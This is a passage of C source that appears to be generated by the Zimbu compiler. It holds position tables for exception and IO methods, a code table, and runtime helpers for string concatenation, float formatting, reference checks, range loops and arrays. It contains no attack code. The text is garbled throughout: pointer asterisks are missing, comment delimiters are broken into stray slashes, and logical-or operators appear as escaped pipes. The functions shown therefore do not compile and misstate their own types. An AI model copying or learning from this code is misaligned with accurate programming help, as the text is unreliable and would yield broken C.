{9,9}, }; Tc Y9aV[]="E.Exit.writeTo__p1/3()"; Tcpos ZcTbl42983[]={ {114,11}, {1,7}, {3,9}, {4,12}, {5,12}, {6,14}, {7,16}, {9,16}, {10,16}, {11,16}, {12,18}, {13,18}, {5,12}, }; Tc Y9Cv[]="E.IOError.NEW__p2/2()"; Tcpos ZcTbl48299[]={ {60,5}, {1,16}, {2,12}, {4,20}, {4,24}, }; Tc Y59h[]="E.IOError.writeTo__p2/4()"; Tcpos ZcTbl89685[]={ {114,11}, {1,7}, {3,9}, {4,12}, {5,12}, {6,14}, {7,16}, {9,16}, {10,16}, {11,16}, {12,18}, {13,18}, {5,12}, }; Tc Y0Jk[]="E.IOError.writeTo__p2/5()"; Tcpos ZcTbl99886[]={ {87,11}, {1,7}, {2,9}, {3,9}, {6,7}, {8,9}, {9,9}, {11,9}, }; Tc Yp81[]="E.Init.NEW__p2/2()"; Tcpos ZcTbl53377[]={ {60,5}, {1,16}, {2,12}, {4,20}, {4,24}, }; Tc YMF2[]="E.Init.writeTo__p2/4()"; Tcpos ZcTbl96107[]={ {114,11}, {1,7}, {3,9}, {4,12}, {5,12}, {6,14}, {7,16}, {9,16}, {10,16}, {11,16}, {12,18}, {13,18}, {5,12}, }; Tc YR5_[]="E.Init.writeTo__p2/5()"; Tcpos ZcTbl6308[]={ {87,11}, {1,7}, {2,9}, {3,9}, {6,7}, {8,9}, {9,9}, {11,9}, }; Tc YbzA[]="E.Internal.NEW__p2/2()"; Tcpos ZcTbl78082[]={ {60,5}, {1,16}, {2,12}, {4,20}, {4,24}, }; Tc YxLq[]="E.Internal.writeTo__p2/4()"; Tcpos ZcTbl412[]={ {114,11}, {1,7}, {3,9}, {4,12}, {5,12}, {6,14}, {7,16}, {9,16}, {10,16}, {11,16}, {12,18}, {13,18}, {5,12}, }; Tc YCbo[]="E.Internal.writeTo__p2/5()"; Tcpos ZcTbl10613[]={ {87,11}, {1,7}, {2,9}, {3,9}, {6,7}, {8,9}, {9,9}, {11,9}, }; Tc Ycb9[]="E.KeyExists.NEW__p3/3()"; Tcpos ZcTbl85000[]={ {60,5}, {1,16}, {2,12}, {4,20}, {4,24}, }; Tc Y4SL[]="E.KeyExists.writeTo__p3/6()"; Tcpos ZcTbl14715[]={ {87,11}, {1,7}, {2,9}, {3,9}, {6,7}, {8,9}, {9,9}, {11,9}, }; Tc Y9iJ[]="E.KeyExists.writeTo__p3/7()"; Tcpos ZcTbl24916[]={ {114,11}, {1,7}, {3,9}, {4,12}, {5,12}, {6,14}, {7,16}, {9,16}, {10,16}, {11,16}, {12,18}, {13,18}, {5,12}, }; Tc YAVe[]="E.KeyNotFound.NEW__p3/3()"; Tcpos ZcTbl29585[]={ {60,5}, {1,16}, {2,12}, {4,20}, {4,24}, }; Tc Ygil[]="E.KeyNotFound.writeTo__p3/6()"; Tcpos ZcTbl43124[]={ {87,11}, {1,7}, {2,9}, {3,9}, {6,7}, {8,9}, {9,9}, {11,9}, }; Tc YlJi[]="E.KeyNotFound.writeTo__p3/7()"; Tcpos ZcTbl53325[]={ {114,11}, {1,7}, {3,9}, {4,12}, {5,12}, {6,14}, {7,16}, {9,16}, {10,16}, {11,16}, {12,18}, {13,18}, {5,12}, }; Tc YF6S[]="E.MemoryAccess.NEW__p2/2()"; Tcpos ZcTbl73580[]={ {60,5}, {1,16}, {2,12}, {4,20}, {4,24}, }; Tc Y4vu[]="E.MemoryAccess.writeTo__p2/4()"; Tcpos ZcTbl25958[]={ {114,11}, {1,7}, {3,9}, {4,12}, {5,12}, {6,14}, {7,16}, {9,16}, {10,16}, {11,16}, {12,18}, {13,18}, {5,12}, }; Tc Y_4w[]="E.MemoryAccess.writeTo__p2/5()"; Tcpos ZcTbl36159[]={ {87,11}, {1,7}, {2,9}, {3,9}, {6,7}, {8,9}, {9,9}, {11,9}, }; Tc Y1As[]="E.NilAccess.NEW__p2/2()"; Tcpos ZcTbl32086[]={ {60,5}, {1,16}, {2,12}, {4,20}, {4,24}, }; Tc YcIS[]="E.NilAccess.writeTo__p2/4()"; Tcpos ZcTbl35088[]={ {114,11}, {1,7}, {3,9}, {4,12}, {5,12}, {6,14}, {7,16}, {9,16}, {10,16}, {11,16}, {12,18}, {13,18}, {5,12}, }; Tc Y7gV[]="E.NilAccess.writeTo__p2/5()"; Tcpos ZcTbl45289[]={ {87,11}, {1,7}, {2,9}, {3,9}, {6,7}, {8,9}, {9,9}, {11,9}, }; Tc YobA[]="E.OutOfMemory.NEW/3()"; Tcpos ZcTbl80644[]={ {262,5}, {1,16}, {2,12}, {4,20}, {4,24}, }; Tc YoZS[]="E.OutOfMemory.writeTo__p2/4()"; Tcpos ZcTbl11217[]={ {114,11}, {1,7}, {3,9}, {4,12}, {5,12}, {6,14}, {7,16}, {9,16}, {10,16}, {11,16}, {12,18}, {13,18}, {5,12}, }; Tc YtpQ[]="E.OutOfMemory.writeTo__p2/5()"; Tcpos ZcTbl21418[]={ {87,11}, {1,7}, {2,9}, {3,9}, {6,7}, {8,9}, {9,9}, {11,9}, }; Tc YR5m[]="E.WrongType.NEW/1()"; Tcpos ZcTbl87235[]={ {514,5}, {1,16}, {2,12}, {4,20}, {4,24}, }; Tc YlgI[]="E.WrongType.writeTo__p2/4()"; Tcpos ZcTbl86818[]={ {114,11}, {1,7}, {3,9}, {4,12}, {5,12}, {6,14}, {7,16}, {9,16}, {10,16}, {11,16}, {12,18}, {13,18}, {5,12}, }; Tc YgQK[]="E.WrongType.writeTo__p2/5()"; Tcpos ZcTbl97019[]={ {87,11}, {1,7}, {2,9}, {3,9}, {6,7}, {8,9}, {9,9}, {11,9}, }; Tc YEFs[]="E.unhandledException()"; Tcpos ZcTbl15718[]={ {609,23}, {0,23}, {0,23}, }; Tc YgcM[]="E.writeToStderr()"; Tcpos ZcTbl52386[]={ {629,5}, {1,5}, {1,7}, {1,7}, {1,7}, {1,7}, {1,7}, {1,7}, {1,7}, {1,7}, {1,7}, {1,7}, {1,7}, {1,7}, {1,7}, {1,7}, {1,7}, {2,5}, }; Tc Ys1a[]="IO"; Tcpos ZcTbl7452[]={ {26,8}, {3,8}, {6,8}, }; Tc Yxlj[]="IO.File.print__p1/15()"; Tcpos ZcTbl82618[]={ {230,11}, {1,15}, }; Tc Yj_J[]="IO.File.write/8()"; Tcpos ZcTbl94823[]={ {483,11}, {3,9}, {4,11}, {6,4}, {31,14}, }; Tc YGQL[]="IO.File.write__p1/9()"; Tcpos ZcTbl59819[]={ {129,11}, {1,15}, }; Tc YrJP[]="IO.StringWriter.ToString()"; Tcpos ZcTbl64531[]={ {1431,11}, {3,9}, {4,13}, {6,4}, {17,14}, }; Tc YCbR[]="IO.StringWriter.write/8()"; Tcpos ZcTbl89987[]={ {1359,11}, {1,37}, {3,9}, {4,14}, {5,11}, {6,17}, {8,11}, {10,13}, {12,11}, {13,17}, {24,14}, }; Tc YzQB[]="IO.StringWriter.write__p1/9()"; Tcpos ZcTbl72007[]={ {129,11}, {1,15}, }; Tc Y5X7[]="IO.fileWriter()"; Tcpos ZcTbl81580[]={ {956,4}, {8,9}, {9,4}, {19,12}, }; Tc YN2v[]="IO.flush()"; Tcpos ZcTbl46761[]={ {1337,4}, {9,12}, }; Tc YZKb[]="IO.isReadable()"; Tcpos ZcTbl71563[]={ {1697,4}, {8,14}, }; Tc YNFk[]="IO.print()"; Tcpos ZcTbl1872[]={ {1227,37}, {1,4}, {13,12}, }; Tc Y9QD[]="Main()"; Tcpos ZcTbl5270[]={ {25,30}, {3,3}, {10,5}, {11,7}, {12,15}, {10,5}, {16,5}, {3,3}, {21,3}, {22,5}, {24,5}, {25,5}, {32,13}, {33,11}, {38,4}, {44,3}, {45,3}, {46,5}, {48,3}, {55,4}, {68,3}, {69,3}, {70,3}, {71,3}, {75,4}, {80,3}, {95,4}, {108,3}, {109,3}, {110,5}, {114,3}, {115,5}, {116,19}, {117,5}, {119,5}, {120,5}, {123,20}, {127,4}, {130,18}, {131,18}, {132,18}, {133,4}, {136,18}, {137,18}, {138,18}, {139,4}, {144,3}, {146,19}, {147,13}, {148,20}, {149,20}, {150,20}, {151,18}, {152,13}, {153,20}, {154,20}, {156,5}, {158,3}, {159,3}, {160,3}, {162,3}, {163,3}, {164,5}, {168,3}, {169,5}, {170,22}, {171,5}, {173,5}, {174,5}, {177,20}, {178,3}, {180,22}, {181,13}, {182,20}, {183,21}, {184,13}, {185,20}, {187,5}, {190,3}, {191,3}, {193,3}, {194,3}, {195,5}, {198,3}, {199,3}, {200,5}, {205,4}, {208,14}, {209,4}, {214,14}, {215,4}, {219,14}, {220,4}, {223,14}, {224,4}, {229,14}, {230,4}, {234,3}, {240,13}, {241,13}, }; Tcpos ZcTbl5271[]={ {267,4}, {6,3}, {7,3}, {9,23}, {10,31}, {11,3}, {13,3}, {14,3}, {16,10}, }; Tc Y1Hw[]="Proto"; Tcpos ZcTbl30532[]={ {286,26}, {15,25}, }; Tc YlSz[]="Proto.FieldSpec.NEW()"; Tcpos ZcTbl13666[]={ {105,5}, {1,13}, {2,11}, {3,13}, {4,17}, }; Tc YnDn[]="Proto.Writer.NEW/2()"; Tcpos ZcTbl12469[]={ {156,5}, {1,15}, {2,15}, {3,14}, {5,7}, }; Tc YlQ3[]="Proto.Writer.initDeref()"; Tcpos ZcTbl32956[]={ {164,11}, {1,18}, {2,22}, }; Tc YGqq[]="Proto.binaryMessageSize()"; Tcpos ZcTbl37884[]={ {803,5}, {1,12}, {2,12}, {5,7}, {6,19}, {7,9}, {8,14}, {9,34}, {10,14}, {12,9}, {14,32}, {15,16}, {16,16}, {17,16}, {19,29}, {20,27}, {23,7}, {24,14}, {25,19}, {26,14}, {27,14}, {30,12}, }; Tc YI64[]="Proto.binarySize()"; Tcpos ZcTbl90679[]={ {681,5}, {1,7}, {2,25}, {3,9}, {4,11}, {7,20}, {8,20}, {11,20}, {12,20}, {15,20}, {16,27}, {17,20}, {20,20}, {21,27}, {22,20}, {25,20}, {26,20}, {29,20}, {30,20}, {33,20}, {34,20}, {37,20}, {38,34}, {39,27}, {40,20}, {43,28}, {44,20}, {45,20}, {48,35}, {49,20}, {52,15}, {3,9}, {57,9}, {58,11}, {61,20}, {62,20}, {65,20}, {66,20}, {69,20}, {70,27}, {71,20}, {74,20}, {75,27}, {76,20}, {79,20}, {80,20}, {83,20}, {84,20}, {87,20}, {88,20}, {91,20}, {92,34}, {93,27}, {94,20}, {97,28}, {98,20}, {99,20}, {102,35}, {103,20}, {106,15}, {0,5}, {112,12}, }; Tc Y6Nc[]="Proto.getBinaryTagSize()"; Tcpos ZcTbl49599[]={ {326,35}, {1,12}, }; Tc YAt_[]="Proto.getVarIntSize()"; Tcpos ZcTbl36994[]={ {1751,5}, {2,14}, {4,5}, {5,14}, {7,5}, {8,14}, {10,17}, {11,5}, {12,7}, {11,5}, {17,12}, }; Tc YufP[]="Proto.writeMessageText()"; Tcpos ZcTbl64912[]={ {982,21}, {1,5}, {2,7}, }; Tc YleD[]="Proto.writeMessageText/1()"; Tcpos ZcTbl71988[]={ {990,21}, {1,5}, {2,7}, }; Tc Yutk[]="Proto.writeOneTextField()"; Tcpos ZcTbl94729[]={ {867,38}, {1,5}, {2,7}, {4,5}, {5,7}, {7,5}, {8,5}, {12,9}, {13,13}, {15,13}, {17,9}, {20,9}, {21,13}, {23,13}, {25,9}, {28,9}, {29,13}, {31,13}, {33,9}, {36,9}, {37,13}, {39,13}, {41,9}, {44,9}, {45,13}, {47,13}, {49,9}, {52,9}, {53,13}, {55,13}, {57,9}, {60,9}, {61,13}, {63,13}, {65,9}, {68,9}, {69,13}, {71,13}, {73,9}, {75,9}, {77,11}, {78,15}, {80,15}, {82,11}, {85,9}, {86,16}, {88,16}, {90,9}, {92,9}, {93,37}, {94,9}, {95,30}, {97,9}, {98,11}, {100,11}, {102,28}, {103,9}, {104,11}, {106,9}, {108,9}, }; Tc Yw9e[]="Proto.writeText()"; Tcpos ZcTbl19299[]={ {841,5}, {1,7}, {3,5}, {4,7}, {7,21}, {8,19}, {9,7}, {11,7}, {12,9}, {13,23}, {14,11}, {15,13}, {14,11}, {17,20}, {18,11}, {11,7}, }; Tc Ym1t[]="Z.Pos.ToString()"; Tcpos ZcTbl18187[]={ {83,11}, {1,27}, {2,7}, {3,9}, {5,9}, {7,7}, {8,7}, {9,7}, {10,7}, {11,16}, }; Tc YBc8[]="Zimbu.Config"; Tcpos ZcTbl74691[]={ {606,29}, }; Tc Y4yh[]="Zimbu.Config.NEW()"; Tcpos ZcTbl27632[]={ {8,5}, }; Tcode ZcodeTable[]={ {412,Yt1T,YxLq,ZcTbl412}, {1872,Yay0,YNFk,ZcTbl1872}, {5270,YTYp,Y9QD,ZcTbl5270}, {5271,YTYp,Y9QD,ZcTbl5271}, {5781,Y_hM,Yv8D,ZcTbl5781}, {5951,Y_hM,Y7VA,ZcTbl5951}, {6308,Yt1T,YR5_,ZcTbl6308}, {7452,Yay0,Ys1a,ZcTbl7452}, {10613,Yt1T,YCbo,ZcTbl10613}, {11217,Yt1T,YoZS,ZcTbl11217}, {12469,YxTh,YnDn,ZcTbl12469}, {13235,Y_hM,YnCh,ZcTbl13235}, {13666,YxTh,YlSz,ZcTbl13666}, {14715,Yt1T,Y4SL,ZcTbl14715}, {15718,Yt1T,YEFs,ZcTbl15718}, {16247,Y_hM,YQ25,ZcTbl16247}, {18187,Y3zM,Ym1t,ZcTbl18187}, {19299,YxTh,Yw9e,ZcTbl19299}, {21418,Yt1T,YtpQ,ZcTbl21418}, {21451,Y_hM,YGC4,ZcTbl21451}, {23436,Y_hM,Yibk,ZcTbl23436}, {24916,Yt1T,Y9iJ,ZcTbl24916}, {25401,Y_hM,YiT7,ZcTbl25401}, {25958,Yt1T,Y4vu,ZcTbl25958}, {26448,Y_hM,YVt3,ZcTbl26448}, {27632,Y0hD,Y4yh,ZcTbl27632}, {29585,Yt1T,YAVe,ZcTbl29585}, {30096,Y_hM,YMHx,ZcTbl30096}, {30532,YxTh,Y1Hw,ZcTbl30532}, {31652,Y_hM,YBb7,ZcTbl31652}, {32086,Yt1T,Y1As,ZcTbl32086}, {32956,YxTh,YlQ3,ZcTbl32956}, {35088,Yt1T,YcIS,ZcTbl35088}, {36159,Yt1T,Y_4w,ZcTbl36159}, {36491,Yt1T,YYT9,ZcTbl36491}, {36994,YxTh,YAt_,ZcTbl36994}, {37884,YxTh,YGqq,ZcTbl37884}, {40297,Y_hM,YHgA,ZcTbl40297}, {42983,Yt1T,Y9aV,ZcTbl42983}, {43124,Yt1T,Ygil,ZcTbl43124}, {44130,Yt1T,YG80,ZcTbl44130}, {45061,Y_hM,YKxu,ZcTbl45061}, {45289,Yt1T,Y7gV,ZcTbl45289}, {46171,Yt1T,Y9VX,ZcTbl46171}, {46312,Yt1T,YPz2,ZcTbl46312}, {46761,Yay0,YN2v,ZcTbl46761}, {48299,Yt1T,Y9Cv,ZcTbl48299}, {49183,Yt1T,YgcH,ZcTbl49183}, {49599,YxTh,Y6Nc,ZcTbl49599}, {52386,Yt1T,YgcM,ZcTbl52386}, {53325,Yt1T,YlJi,ZcTbl53325}, {53377,Yt1T,Yp81,ZcTbl53377}, {54331,Yt1T,YLzZ,ZcTbl54331}, {55262,Y_hM,YF6w,ZcTbl55262}, {56372,Yt1T,Y4u_,ZcTbl56372}, {59819,Yay0,YGQL,ZcTbl59819}, {60593,Yt1T,Y5LR,ZcTbl60593}, {63483,Yt1T,Yuzo,ZcTbl63483}, {64531,Yay0,YrJP,ZcTbl64531}, {64912,YxTh,YufP,ZcTbl64912}, {70530,Yt1T,Yu0r,ZcTbl70530}, {70833,Yt1T,YWEC,ZcTbl70833}, {71563,Yay0,YZKb,ZcTbl71563}, {71988,YxTh,YleD,ZcTbl71988}, {72007,Yay0,YzQB,ZcTbl72007}, {73471,Yt1T,Y_Qs,ZcTbl73471}, {73580,Yt1T,YF6S,ZcTbl73580}, {73684,Yt1T,Yz_l,ZcTbl73684}, {74691,Y0hD,YBc8,ZcTbl74691}, {75882,Y_hM,YOLm,ZcTbl75882}, {77282,Y_hM,YRsF,ZcTbl77282}, {78082,Yt1T,YbzA,ZcTbl78082}, {79218,Y_hM,Y51G,ZcTbl79218}, {79794,Y_hM,Ylvo,ZcTbl79794}, {80644,Yt1T,YobA,ZcTbl80644}, {80731,Yt1T,Yzrp,ZcTbl80731}, {81580,Yay0,Y5X7,ZcTbl81580}, {81627,Y_hM,YV4L,ZcTbl81627}, {82618,Yay0,Yxlj,ZcTbl82618}, {85000,Yt1T,Ycb9,ZcTbl85000}, {86083,Y_hM,YJkp,ZcTbl86083}, {86818,Yt1T,YlgI,ZcTbl86818}, {87235,Yt1T,YR5m,ZcTbl87235}, {87483,Y_hM,YWTC,ZcTbl87483}, {89685,Yt1T,Y59h,ZcTbl89685}, {89987,Yay0,YCbR,ZcTbl89987}, {90679,YxTh,YI64,ZcTbl90679}, {92163,Yt1T,YTjU,ZcTbl92163}, {94729,YxTh,Yutk,ZcTbl94729}, {94823,Yay0,Yj_J,ZcTbl94823}, {95580,Y_hM,YqIG,ZcTbl95580}, {95750,Y_hM,Y2uD,ZcTbl95750}, {96107,Yt1T,YMF2,ZcTbl96107}, {97019,Yt1T,YgQK,ZcTbl97019}, {99886,Yt1T,Y0Jk,ZcTbl99886}, }; #ifdef SIGSEGV void Zdeadly(int nr) { ZthrowDeadly(nr); } #endif void ZthreadGC() { } Ti ZstringSizePtr(Tc s, Tc *dp) { Tc p; Ti len; p = s + ZOH_OFF; if ((p & 0x80) == 0) { / be quick for short string / dp = p + 1; return p; } len = p & 0x7f; ++p; while ((p & 0x80) != 0) { len = (len << 7) + (p & 0x7f); ++p; } dp = p + 1; return (len << 7) + p; } void ZthrowCstringNil(char text) { YvdV(NULL, Zstr(text)); } void ZthrowThisNil() { YvdV(NULL, Zstr("THIS is NIL")); } void ZthrowCstringInit(char text) { Y3w6(Zstr(text)); } void ZthrowOutOfMemory(Ti size) { Y1KV(size); } void ZthrowCstringBadValue(char msg) { Yaez(Zstr(msg)); } void ZthrowDeadly(int nr) { YE93((Ti)nr); } void ZthrowInternal(Tc text) { YUSH(NULL, text); } /* concat string / Tc ZcS(Tc l, Tc ri) { Tc l_p; Ti l_len; Tc r_p; Ti r_len; Ti len; Tc pp; Tc r; if (l == NULL) {l_len = 3; l_p = (Tc)"NIL";} else l_len = ZstringSizePtr(l, &l_p); if (ri == NULL) {r_len = 3; r_p = (Tc)"NIL";} else r_len = ZstringSizePtr(ri, &r_p); len = l_len + r_len; r = ZnewStringInit(len, &pp); memmove(pp, l_p, l_len); memmove(pp + l_len, r_p, r_len); return r; } /* concat string / Tc ZcS3(Tc s1, Tc s2, Tc s3) { Tc p1; Ti len1; Tc p2; Ti len2; Tc p3; Ti len3; Ti len; Tc pp; Tc r; if (s1 == NULL) {len1 = 3; p1 = (Tc)"NIL";} else len1 = ZstringSizePtr(s1, &p1); if (s2 == NULL) {len2 = 3; p2 = (Tc)"NIL";} else len2 = ZstringSizePtr(s2, &p2); if (s3 == NULL) {len3 = 3; p3 = (Tc)"NIL";} else len3 = ZstringSizePtr(s3, &p3); len = len1 + len2 + len3; r = ZnewStringInit(len, &pp); memmove(pp, p1, len1); memmove(pp + len1, p2, len2); memmove(pp + len1 + len2, p3, len3); return r; } / concat string / Tc ZcS5(Tc s1, Tc s2, Tc s3, Tc s4, Tc s5) { Tc p1; Ti len1; Tc p2; Ti len2; Tc p3; Ti len3; Tc p4; Ti len4; Tc p5; Ti len5; Ti len; Tc pp; Tc r; if (s1 == NULL) {len1 = 3; p1 = (Tc)"NIL";} else len1 = ZstringSizePtr(s1, &p1); if (s2 == NULL) {len2 = 3; p2 = (Tc)"NIL";} else len2 = ZstringSizePtr(s2, &p2); if (s3 == NULL) {len3 = 3; p3 = (Tc)"NIL";} else len3 = ZstringSizePtr(s3, &p3); if (s4 == NULL) {len4 = 3; p4 = (Tc)"NIL";} else len4 = ZstringSizePtr(s4, &p4); if (s5 == (Tc)1) len5 = 0; else if (s5 == NULL) {len5 = 3; p5 = (Tc)"NIL";} else len5 = ZstringSizePtr(s5, &p5); len = len1 + len2 + len3 + len4 + len5; r = ZnewStringInit(len, &pp); memmove(pp, p1, len1); memmove(pp + len1, p2, len2); memmove(pp + len1 + len2, p3, len3); memmove(pp + len1 + len2 + len3, p4, len4); if (s5 != (Tc)1) memmove(pp + len1 + len2 + len3 + len4, p5, len5); return r; } / concat string / Tc ZcS8(Tc s1, Tc s2, Tc s3, Tc s4, Tc s5, Tc s6, Tc s7, Tc s8) { Tc p[8]; Ti len[8]; Ti totlen = 0; Tc pp; Tc r; int i; if (s1 == NULL) {len[0] = 3; p[0] = (Tc)"NIL";} else len[0] = ZstringSizePtr(s1, &p[0]); if (s2 == NULL) {len[1] = 3; p[1] = (Tc)"NIL";} else len[1] = ZstringSizePtr(s2, &p[1]); if (s3 == NULL) {len[2] = 3; p[2] = (Tc)"NIL";} else len[2] = ZstringSizePtr(s3, &p[2]); if (s4 == NULL) {len[3] = 3; p[3] = (Tc)"NIL";} else len[3] = ZstringSizePtr(s4, &p[3]); if (s5 == NULL) {len[4] = 3; p[4] = (Tc)"NIL";} else len[4] = ZstringSizePtr(s5, &p[4]); if (s6 == NULL) {len[5] = 3; p[5] = (Tc)"NIL";} else len[5] = ZstringSizePtr(s6, &p[5]); if (s7 == (Tc)1) len[6] = 0; else if (s7 == NULL) {len[6] = 3; p[6] = (Tc)"NIL";} else len[6] = ZstringSizePtr(s7, &p[6]); if (s8 == (Tc)1) len[7] = 0; else if (s8 == NULL) {len[7] = 3; p[7] = (Tc)"NIL";} else len[7] = ZstringSizePtr(s8, &p[7]); for (i = 0; i < 8; ++i) totlen += len[i]; r = ZnewStringInit(totlen, &pp); totlen = 0; for (i = 0; i < 8; ++i) { memmove(pp + totlen, p[i], len[i]); totlen += len[i]; } return r; } Tr Zao(void ptr, Tc *table, Ti type) { Tr tr; tr.ptr = ptr; tr.table = table; tr.type = type; return tr; } / fill not-allocated object reference / Tr Znao(Tr p, void ptr, Tc table, Ti type) { p->ptr = ptr; p->table = table; p->type = type; return p; } Tr ZconvertZioref(Tr orig, Tc table, int type, int maxType, Ti pos) { Tr p; if (orig.ptr == NULL) p.ptr = NULL; else { if (orig.type < type \|\| orig.type >= maxType) YTuG(pos); p.ptr = orig.ptr; p.type = orig.type - type; p.table = table[p.type]; } return p; } void Zio(int type, Ti pos, Tr p) { void r; if (p == NULL \|\| p->ptr == NULL) r = NULL; else { if (p->type != type) YTuG(pos); r = p->ptr; } return r; } void Znio(int type, Ti pos, Tr tr) { void r; if (tr.ptr == NULL) r = NULL; else { if (tr.type != type) YTuG(pos); r = tr.ptr; } return r; } Ti ZbyteStringSize(Tc s) { Tc p; Ti len; if (s == NULL) return 0; p = s + ZOH_OFF; if ((p & 0x80) == 0) { return p; /* be quick for short string / } len = p & 0x7f; ++p; while ((p & 0x80) != 0) { len = (len << 7) + (p & 0x7f); ++p; } return (len << 7) + p; } Tc Zint2string(Ti n) { char buf[30]; char p; int len; sprintf(buf, ZINT_FORMAT, n); len = (int)strlen(buf); p = Za(ZOH_OFF + len + 2); p[ZOH_OFF] = len; strcpy(p + ZOH_OFF + 1, buf); return (Tc)p; } #ifdef __MINGW32__ void ZcorrFloatStr(char buf, char fmt) { size_t len = strlen(buf); if (len > 5 && buf[len - 3] == '0' && (buf[len - 5] == 'e' \|\| buf[len - 5] == 'E')) { if (fmt != NULL && isdigit(fmt[1]) && strchr(fmt, '.') > 0 && atoi(fmt + 1) >= strlen(buf)) { memcpy(buf + 1, buf, len - 2); buf[0] = ' '; } else { buf[len - 3] = buf[len - 2]; buf[len - 2] = buf[len - 1]; buf[len - 1] = 0; } } else if (strcmp(buf, "1.#INF") == 0) { strcpy(buf, "inf"); } else if (strcmp(buf, "-1.#INF") == 0) { strcpy(buf, "-inf"); } else if (strcmp(buf, "1.#QNAN") == 0) { strcpy(buf, "nan"); } } #endif Tc ZfloatFormat(Tc fmt, Tf n) { char fmtbuf[100]; char buf[100]; char p; int len; Tc fmtp; if (fmt == NULL) ZthrowCstringNil("ToString(): format is NIL"); if (ZstringSizePtr(fmt, &fmtp) > 90) { ZthrowCstringBadValue("ToString(): format too long"); } sprintf(fmtbuf, "%%%s", fmtp); #ifdef __MINGW32__ len = (int)strlen(fmtbuf); if (fmtbuf[len - 1] == 'F') fmtbuf[len - 1] = 'f'; #endif sprintf(buf, fmtbuf, n); #ifdef __MINGW32__ ZcorrFloatStr(buf, fmtbuf); #endif len = (int)strlen(buf); p = Za(ZOH_OFF + len + 2); p[ZOH_OFF] = len; strcpy(p + ZOH_OFF + 1, buf); return (Tc)p; } Tc Zenum2string(char *names, Te n) { return Zstr((n < 0 \|\| n >= (Te)(size_t)names[0]) ? "INVALID" : names[n + 1]); } char ZgetCstring(Tc s) { Tc p; if (s == NULL) return NULL; p = s + ZOH_OFF; while ((p & 0x80) != 0) ++p; return (char )p + 1; } void ZforRangeNew(Ti start, Ti last, int until, Ti step, Tfr s) { s->idx = start; if (until) s->last = last - (step > 0 ? 1 : -1); else s->last = last; s->step = step; } void ZforRangeGetInt(Tfr s, Ti p) { p = s->idx; } int ZforRangeContInt(Tfr s) { return s->step > 0 ? (s->idx <= s->last) : (s->idx >= s->last); } void ZforRangeNextInt(Tfr s, Ti p) { s->idx += s->step; ZforRangeGetInt(s, p); } void ZthrowIobject(Tr eo) { YxIS(eo); } int ZstringCmp(Tc s1, Tc s2) { Tc p1; Tc p2; Ti len1; Ti len2; int r; if (s1 == NULL \|\| s2 == NULL) { if (s1 == NULL && s2 == NULL) r = 0; else r = 1; goto end; } if (s1[ZOH_OFF] != s2[ZOH_OFF]) { r = 1; goto end; } len1 = ZstringSizePtr(s1, &p1); len2 = ZstringSizePtr(s2, &p2); if (len1 == len2) { r = memcmp(p1, p2, len1); goto end; } r = 1; end: return r; } int ZcopyItems(Tt toType, int toSize, void toPtr, Ti toOff, Tt fromType, int fromSize, void fromPtr, Ti fromOff, Ti len) { Ti i; if (toType == fromType \|\| (toType->nr >= 100 && fromType->nr >= 100)) { memmove((char)toPtr + toOff * toSize, (char)fromPtr + fromOff fromSize, len * toSize); return 1; } if (fromType->nr >= 100 \|\| toType->nr >= 100) return 0; for (i = 0; i < len; ++i) { Ti iv; Tf fv; switch (fromType->nr) { case 0: case 24: case 25: iv = ((Ti)fromPtr)[fromOff + i]; fv = iv; break; case 1: iv = ((char)fromPtr)[fromOff + i]; fv = iv; break; case 2: iv = ((Ti16)fromPtr)[fromOff + i]; fv = iv; break; case 3: iv = ((Ti32)fromPtr)[fromOff + i]; fv = iv; break; case 10: iv = ((Tu)fromPtr)[fromOff + i]; fv = iv; break; case 11: iv = ((Tc)fromPtr)[fromOff + i]; fv = iv; break; case 12: iv = ((Tu16)fromPtr)[fromOff + i]; fv = iv; break; case 13: iv = ((Tu32)fromPtr)[fromOff + i]; fv = iv; break; case 21: case 22: case 23: iv = ((int)fromPtr)[fromOff + i]; fv = iv; break; case 80: case 82: case 83: fv = ((Tf)fromPtr)[fromOff + i]; iv = fv; break; case 81: fv = ((Tf32)fromPtr)[fromOff + i]; iv = fv; break; } switch (toType->nr) { case 0: case 10: case 24: case 25: ((Ti)toPtr)[toOff + i] = iv; break; case 1: case 11: ((char)toPtr)[toOff + i] = iv; break; case 2: case 12: ((Ti16)toPtr)[toOff + i] = iv; break; case 3: case 13: ((Ti32)toPtr)[toOff + i] = iv; break; case 21: case 22: case 23: ((int)toPtr)[toOff + i] = iv; break; case 80: case 82: case 83: ((Tf)toPtr)[toOff + i] = fv; break; case 81: ((Tf32)toPtr)[toOff + i] = fv; break; } } return 1; } void ZfreeArray(Ta head) { Ti i; Ti d; if (head == NULL) return; if (head->ptr && head->ptr != head + 1) { Zfree(head->ptr - ZOH_OFF); } Zfree(head); } Ta ZArrayInit(Ta head, Tt itemType, int itemSize, Ti size) { head->ptr = ZaOff(itemSize * size); head->dim = 1; head->size[0] = size; head->itemType = itemType; head->itemSize = itemSize; return head; } Ta ZnewArray(Tt itemType, int itemSize, Ti size) { Ta head; size_t extra = size itemSize; if (extra > 100) extra = 0; head = Za(sizeof(Ta) + extra); if (extra == 0) { head->ptr = ZaOff(itemSize * size); } else head->ptr = head + 1; head->dim = 1; head->size[0] = size; head->itemType = itemType; head->itemSize = itemSize; return head; } Ti ZArraySize(Ta head) { Ti r; if (head == NULL) r = 0; else r = head->size[0]; return r; } Ta Zas(Ta head, void vals, int type, Ti offset) { int len; int i; if (head == NULL) ZthrowCstringNil("Invoking set() on NIL array"); if (type == 0) { /* vals is a byteString / Tc p; len = ZstringSizePtr(vals, &p); if (len > head->size[0] - offset) len = head->size[0] - offset; if (head->itemSize == 1) { memmove(((Tc)head->ptr) + offset, p, len); } else if (head->itemSize == sizeof(Te)) { for (i = 0; i < len; ++i) ((Te)head->ptr)[i + offset] = p[i]; } else { for (i = 0; i < len; ++i) ((Ti)head->ptr)[i + offset] = p[i]; } } else if (type == 1) { / vals is an array / Ta from = vals; len = from->size[0]; if (len > head->size[0] - offset) len = head->size[0] - offset; ZcopyItems(head->itemType, head->itemSize, head->ptr, offset, from->itemType, from->itemSize, from->ptr, 0, len); } else { /* vals is a list / Tl from = (Tl)vals; Ti count = from->itemCount; if (count > offset + head->size[0]) count = offset + head->size[0]; ZcopyItems(head->itemType, head->itemSize, head->ptr, offset, from->itemType, from->itemSize, from->items, from->empty, count); } return head; } Ta ZarrayResize(Ta head, int bytes, Ti size) { if (head == NULL) ZthrowCstringNil("Invoking resize() on NIL array"); if (head->ptr == head + 1) { head->ptr = ZaOff(bytes size); memmove(head->ptr, head + 1, size > head->size[0] ? bytes * head->size[0] : 